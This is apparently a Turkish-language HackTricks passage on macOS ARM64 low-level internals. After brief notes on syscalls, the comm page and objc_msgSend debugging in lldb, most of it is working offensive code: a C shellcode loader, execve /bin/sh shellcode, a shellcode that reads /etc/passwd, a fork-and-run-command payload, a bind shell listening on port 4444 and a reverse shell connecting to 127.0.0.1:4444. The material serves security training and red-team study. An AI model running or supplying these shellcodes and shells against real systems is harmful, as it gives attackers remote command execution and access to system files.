dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

{% endcode %}

{% hint style="success" %} Bazen, libsystem_kernel.dylib dosyasından derlenmiş kodu kontrol etmek, kaynak kodunu kontrol etmekten daha kolay olabilir çünkü birkaç sistem çağrısının (BSD ve Mach) kodu betikler aracılığıyla oluşturulur (kaynak kodundaki yorumlara bakın) iken dylib dosyasında neyin çağrıldığını bulabilirsiniz. {% endhint %}

machdep çağrıları

XNU, makineye bağlı olarak adlandırılan başka bir çağrı türünü destekler. Bu çağrıların sayısı mimariye bağlıdır ve ne çağrılar ne de numaralar sabit kalması garanti edilmez.

comm sayfası

Bu, her kullanıcı işleminin adres alanına eşlenmiş olan bir çekirdek sahibi bellek sayfasıdır. Bu, kullanıcı modundan çekirdek alanına geçişi, bu geçişin çok verimsiz olacağı çekirdek hizmetleri için sistem çağrılarını kullanmaktan daha hızlı yapmayı amaçlar.

Örneğin, gettimeofdate çağrısı, timeval değerini doğrudan comm sayfasından okur.

objc_msgSend

Bu fonksiyonun Objective-C veya Swift programlarında sıkça kullanıldığını görmek çok yaygındır. Bu fonksiyon, bir Objective-C nesnesinin bir yöntemini çağırmayı sağlar.

Parametreler (daha fazla bilgi için dokümantasyona bakın):

  • x0: self -> Örneğin işaretçisi
  • x1: op -> Yöntemin seçicisi
  • x2... -> Çağrılan yöntemin diğer argümanları

Bu nedenle, bu fonksiyona yapılan dal öncesinde kesme noktası koyarsanız, lldb'de neyin çağrıldığını kolayca bulabilirsiniz (bu örnekte, nesne NSConcreteTask'tan bir nesneyi çağırır ve bir komut çalıştırır).

(lldb) po $x0
<NSConcreteTask: 0x1052308e0>

(lldb) x/s $x1
0x1736d3a6e: "launch"

(lldb) po [$x0 launchPath]
/bin/sh

(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)

Kabuk Kodları

Derlemek için:

as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Bytes'ı çıkarmak için:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

<özet>Shellcode'u test etmek için C kodu</özet>

// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = "<INSERT SHELLCODE HERE>";

int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf("    |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf("    |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf("    |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr;
sc();

return 0;
}

Kabuk

buradan alınmış ve açıklanmıştır.

{% tabs %} {% tab title="adr ile" %}

.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

{% endtab %}

{% tab title="yığınla" %}

.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
; We are going to build the string "/bin/sh" and place it on the stack.

mov  x1, #0x622F  ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48   ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.

str  x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.

; Prepare arguments for the execve syscall.

mov  x1, #8       ; Set x1 to 8.
sub  x0, sp, x1   ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.

; Make the syscall.

mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

Cat ile oku

Amacımız execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL) komutunu çalıştırmak, bu yüzden ikinci argüman (x1) parametrelerin bir dizisi olmalıdır (bellekte bu adreslerin bir yığını anlamına gelir).

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

Ana işlem öldürülmezken bir çataldan sh ile komut çağırma

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

Bağlantı kabuğu

Bağlantı kabuğu https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s üzerinden 4444 portu ile.

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Ters kabuk

https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s adresinden, 127.0.0.1:4444 adresine revshell'i alın.

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

<özet>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!</özet>

HackTricks'ı desteklemenin diğer yolları: